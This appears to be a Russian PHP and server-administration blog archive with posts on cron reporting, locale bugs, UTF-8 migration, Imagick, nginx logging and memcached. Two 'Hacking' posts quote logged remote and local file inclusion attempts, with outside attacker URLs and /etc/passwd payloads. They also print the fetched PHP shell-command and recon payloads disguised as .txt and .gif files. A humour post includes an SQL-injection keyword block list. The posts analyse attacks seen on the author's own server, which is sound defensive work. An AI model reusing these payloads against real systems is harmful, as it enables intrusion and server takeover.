заметки на полях » php

Упрощение отслеживания отработанных по крону скриптов

Дерябин Сергей — Thu, 06 Oct 2011 07:54:14 +0000

Пожалуй в любом более менее крупном проекте возникает необходимость выполнения заданий по крону, т. е. независимо от действий пользователей с определенной периодичностью. Совершенно определенно что результат выполнения скриптов необходимо отслеживать, что бы вовремя узнать о возникшей проблеме. Самый простой вариант, это генерация отчета о работе или ошибки в скрипте и отправке из крона на почту, как то так (из крона, а не из скрипта потому что fatal error на почту из скрипта не придет):

17 3 * * * www-data /usr/bin/php5-cgi /var/www/project/cron/user_rating.php 2>&1 | mail -s "Пересчет рейтинга пользователей" mail@example.com

В итоге на почту периодически будут сваливаться отчеты вида:

X-Powered-By: PHP/5.2.6-1+lenny13
Content-type: text/html

Начало: 2011-10-03 03:17.01

... сгенерированные данные о проделанной работе ...

Окончание: 2011-10-03 03:17.01

Все хорошо. Но иногда бывает что дергать такие скрипты необходимо часто (дабы избежать задержки), а вот что-то делать они будут далеко не всегда, т. е. попросту запускаться, смотреть что ничего делать не надо генерит пустой отчет и все. А вот когда этих скриптов становится много, то наступает такой момент когда только просмотреть отчеты на почте занимает неприлично много времени, потом это надоедает и отчеты просто не просматриваясь удаляются. Теряется смысл вообще всех этих отчетов.
Выход нашелся в следующем. При отсутствии действий в скрипте не генерировать пустой отчет, т. е. не выводить ничего, а по крону смотреть, что если в выхлопе только три строки:

X-Powered-By: PHP/5.2.6-1+lenny13
Content-type: text/html

то на почту ничего отправлять не надо.
Делаем скрипт /usr/bin/php_cron.sh:

#!/bin/sh

strtocut=3
# минимальная длина на всякий случай, может лишний перенос закрадется
minlen=10

line=1
while read INPUT; do
if [ $line -gt $strtocut ]; then
OUTPUT="${OUTPUT}\n${INPUT}"
fi
line=`expr $line + 1`
done

if [ `expr length "$OUTPUT"` -gt $minlen ]; then
echo -e $OUTPUT | mail -s"$2" $1
fi

даем ему права на выполнение

$ chmod +x /usr/bin/php_cron.sh

и изменяем задание в кроне следующим образом:

17 8 * * * www-data /usr/bin/php5-cgi /var/www/project/cron/paid_notifier.php 2>&1 | /usr/bin/php-cron.sh mail@example.com "Отправка уведомлений об окончании услуг"

Теперь на почту будут приходить только сообщения о проделанной работе, а о том что делать было нефиг нас не потревожат.

P/S С удовольствием приму вариант более элегантного решения.

Как float зависит от локали?!

Дерябин Сергей — Sat, 06 Feb 2010 12:59:46 +0000

На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло – я вовремя нагуглил правильный ответ Теперь собственно к делу. Вот код и ожидаемый результат его выполнения:

$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3.14

У меня же получился другой вариант, от которого я честно говоря подвис:

$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3,14

Выяснилось что результат зависит от установки локали, у меня стояло: setlocale(LC_ALL, "ru_RU.UTF8"); пока остановился на таком варианте:

setlocale(LC_CTYPE, "ru_RU.utf8");
setlocale(LC_TIME, "ru_RU.utf8");

PHP у меня 5.2.10, а баг сей я так понимаю тащится аж с 2002 года версии 4.3.0 RC2: Bug #17079 setlocale changes the internal representation of floats

Перевод сайта c cp1251 на UTF-8

Дерябин Сергей — Wed, 13 Jan 2010 18:57:03 +0000

Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev > dump.sql – получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev > data.sql, поменять кодировку полей в схеме, вместо:

name VARCHAR(64) CHARACTER SET cp1251 NOT NULL

сделать

name VARCHAR(64) CHARACTER SET utf8 NOT NULL

или же убрать упоминание кодировки из полей вовсе:

name VARCHAR(64) NOT NULL

так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:

ALTER DATABASE svdev DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci

и залить назад в обратном порядке – сначала структуру, затем данные.
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо – типа tiny просто вынес сначала из проекта, а затем вернул обратно:

#!/bin/sh
for FILE in `find /var/www/svdev/ | egrep -i "\.(php|html)$"`
do
iconv -f cp1251 -t utf8 $FILE > $FILE".utf"
mv -f $FILE".utf" $FILE
echo $FILE" - work complete"
done

Он в заданной директории файлы по маске .php и .html перекодирует в UTF используя утилиту iconv во временный файл, а затем перезаписывает исходный файл временным.
Следующим шагом убедимся в правильной настройке mb_ функций PHP. Для этого создадим файлик vim strtest.php и положим в него следующее содержимое:

echo strlen("мама мыла раму") . "\n";
echo mb_strlen("мама мыла раму") . "\n";
echo mb_strlen("мама мыла раму", "UTF-8");
?>

Правильная длина строки – 14 символов. Выполним его из консоли: php5-cgi strtest.php В начале у меня получилось следующее:

X-Powered-By: PHP/5.2.10-2ubuntu6.3
Content-type: text/html

26
26
14

Для исправления – установим верные значения в /etc/php5/cgi/php.ini и /etc/php5/cli/php.ini, для этого по файлу надо поискать encoding и charset
Нашлись следующие параметры:

default_charset = "UTF-8"
...
mbstring.language = Russian
mbstring.internal_encoding = UTF-8

Теперь при повторном выполнении теста php5-cgi strtest.php второе значение без указания кодировки должно совпасть с первым и появиться кодировка по умолчанию:

X-Powered-By: PHP/5.2.10-2ubuntu6.3
Content-type: text/html; charset=UTF-8

26
14
14

Так же не лишним будет в конфиге проекта указать верно локаль, к примеру setlocale(LC_ALL, "ru_RU.utf8"); список доступных локалей в системе можно посмотреть locale -a (ну и на всякий случай проверить что с новой локалью не будет багов, подробнее здесь: Как float зависит от локали?! )
Указать кодировку в настройках nginx для нужного сайта /etc/nginx/sites-available/svdev:

server {
...
charset UTF-8;
source_charset UTF-8;
...
}

Ну и самая нудная часть – пройтись по проекту и заменить функции работы со строками на их mb_ аналоги, в используемые регулярные выражения добавить модификатор u и если отправляются где-то письма – изменить кодировку писем.
Ну вот вроде и все! Перед всеми манипуляциями неплохо бы сделать резервную копию файлов и БД, на всякий случай.

Дополнительное чтиво

Hacking часть II

Дерябин Сергей — Tue, 29 Dec 2009 16:18:14 +0000

Продолжаю серию забавных вещей из логов:

client: 188.126.37.18, server: ***, request: "GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt??

Файлик zfxid1.txt следующего содержания:

zfxid.txt
/* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

Дальше интересней

client: 89.38.128.140, server: ***, request: "GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??
client: 89.38.128.140, server: ***, request: "GET //?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??

Файлик test.gif следующего содержания:

SysTrojan

Wrong Place

if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;
?>

Ну и последний на сегодня

client: 89.185.231.103, server: ***, request: "GET //?_SERVER[DOCUMENT_ROOT]=http://www.solmae.co.kr/upload/bbs/conf2.txt????

и файлик conf2.txt следующего содержания:

$dir = @getcwd();
$ker = @php_uname();
echo "3"."1"."3"."3"."7"."
";
$OS = @PHP_OS;
echo "
OSTYPE:$OS
";
echo "
Kernel:$ker
";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."
";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}

echo "
3"."1"."2"."3"."4
";
?>

Hacking часть I

Дерябин Сергей — Mon, 28 Dec 2009 10:00:48 +0000

Обнаружил в логах довольно забавную картину по поиску слабых мест

client: 83.168.217.53, server: ***, request: "GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&a=resume&id=846 HTTP/1.0"

Ну и дальше вместо всех переменных пробуем подставлять:

/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00

Что самое интересное – откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.

А вот ходят по другому поводу

client: 203.237.238.234, server: ***, request: "GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"

client: 203.237.238.234, server: ***, request: "GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"

Интересно, что за сканер такой, или руками?

PHP библиотека GD в debian сборке или выкидываем GD на помойку

Дерябин Сергей — Thu, 24 Dec 2009 00:34:00 +0000

В ходе работы выяснилась неприятная вещь – в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение – ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:

быстрее
возможность выбора различных фильтров при ресайзе
ОО интерфейс
нет необходимости заморачиваться с типами файлов – все уже сделано за нас
эксепшены вместо ошибок

Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.

Поставим её.

sudo apt-get install imagemagick
sudo apt-get install php-pear
sudo pecl install imagick

Если второй шаг завершится ошибкой, вроде этой: ERROR: `phpize' failed то необходимо установить:

sudo apt-get install php5-dev

и повторить установку Imagick, при возникновении ошибки ERROR: `/tmp/pear/temp/imagick/configure --with-imagick' failed необходимо дополнительно установить:

# для debian:
sudo apt-get install libmagick9-dev
# для убунты:
sudo apt-get install libmagickwand-dev

Теперь Imagick должен точно встать, если нет – то дальше в Google.
Осталось только прописать новую либу в php.ini:

extension=imagick.so

http://www.php.net/manual/en/book.imagick.php – дока по Imagick
http://valokuva.org/?cat=1 – блог с полезными и познавательными примерами использования Imagick

Вывод ошибок PHP в логи nginx

Дерябин Сергей — Mon, 10 Aug 2009 19:06:34 +0000

После того как не осталось Apache, то и негде посмотреть ошибки PHP привычным способом (в логах Апача); сделаем что бы nginx вел лог ошибок PHP. nginx перехватывает то, что ему пришло от php-fastcgi на stderr и пишет это в лог, предваряя примерно следующим:

2009/08/10 22:54:38 [error] 11004#0: *7 FastCGI sent in stderr:

Теперь же осталось только отдавать эти самые ошибки и предупреждения из PHP на stderr, для этого надо немного подправить конфиг /etc/php5/cgi/php.ini:

; лишним здесь ничего не будет :) пусть пишет все!
error_reporting = E_ALL

; первый параметр отвечает как раз за отдаду ошибок на фронтэед
display_errors = "stderr"
;
; stdout (On) - Display errors to STDOUT
; здесь же ошибки будут выводиться на экран, для сервера разработки -
; это оптимальный вариант, а вот на боевом их все таки лучше отключить
display_errors = On
; Ну и последняя опция, что бы PHP все таки
; писал ошибки в лог (в нашем случае отдавал на stderr)
log_errors = On

Готово! Осталось только перезапустить php-cgi:

sudo /etc/init.d/init-fastcgi restart

Юмор: защита сайта от взлома

Дерябин Сергей — Sat, 08 Aug 2009 21:36:34 +0000

Встретилось в контексте защиты сайта. 2 предложенных варианта фильтрации входящих данных, один другого хлеще

1
2
3
4
5
6
7
8
9
10
11
12
13

foreach($_GET as $key => $val) {
$$key = stripslashes(strip_tags(htmlspecialchars($val, ENT_QUOTES)));
}
foreach($_POST as $key => $val) {
if (gettype ($val)!='array') {
$$key = stripslashes(strip_tags(htmlspecialchars($val, ENT_QUOTES)));
} else {
foreach($val as $k => $v) {
$$val[$k] = stripslashes(strip_tags(htmlspecialchars($v, ENT_QUOTES)));
}
$$key=$val;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13

$post_arr=implode('.',$_POST);
$get_arr=implode('.',$_GET);
$cook_arr=implode('.',$_COOKIE);
$post_arr_key=implode('.',@array_flip($_POST));
$get_arr_key=implode('.',@array_flip($_GET));
$cook_arr_key=implode('.',@array_flip($_COOKIE));
$other_shtuki=@file_get_contents('php://input');
$cracktrack = strtolower($post_arr.$get_arr.$cook_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);
$wormprotector = array('union','select','substring','/**/'); //тут дополни по своему вкусу кейворды SQL- и PHP-инжекторов
$checkworm = str_replace($wormprotector, '*', $cracktrack);
if ($cracktrack != $checkworm)
die("");
?>

С бескрайних просторов searchengines

php + memcached

Дерябин Сергей — Tue, 04 Aug 2009 18:36:48 +0000

Установим все что может понадобиться для использования связки php + memcached.

1	sudo apt-get install memcached php5-memcache

Единственный файл конфига /etc/memcached.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# запустить как "демон"
-d

# лог файл
logfile /var/log/memcached.log

# я так понимаю расширенный формат лога :)
# -v

# ограничение памяти в мегабайтах
-m 512

# слушать порт
-p 11211

# от имени какого пользователя запускать,
# если параметр не указан, то будет запущен от root
-u nobody

# какой интерфейс слушать
-l 127.0.0.1

И ротация единственного файла логов sudo vim /etc/logrotate.d/memcached:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

/var/log/memcached.log {
daily
missingok
size 2M
rotate 2
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
postrotate
/etc/init.d/memcached restart > /dev/null
endscript
}

Команда скорее всего не понадобится, т. к. в автозагрузку пакет добавится при установке, но на всякий случай:

1	sudo update-rc.d memcached defaults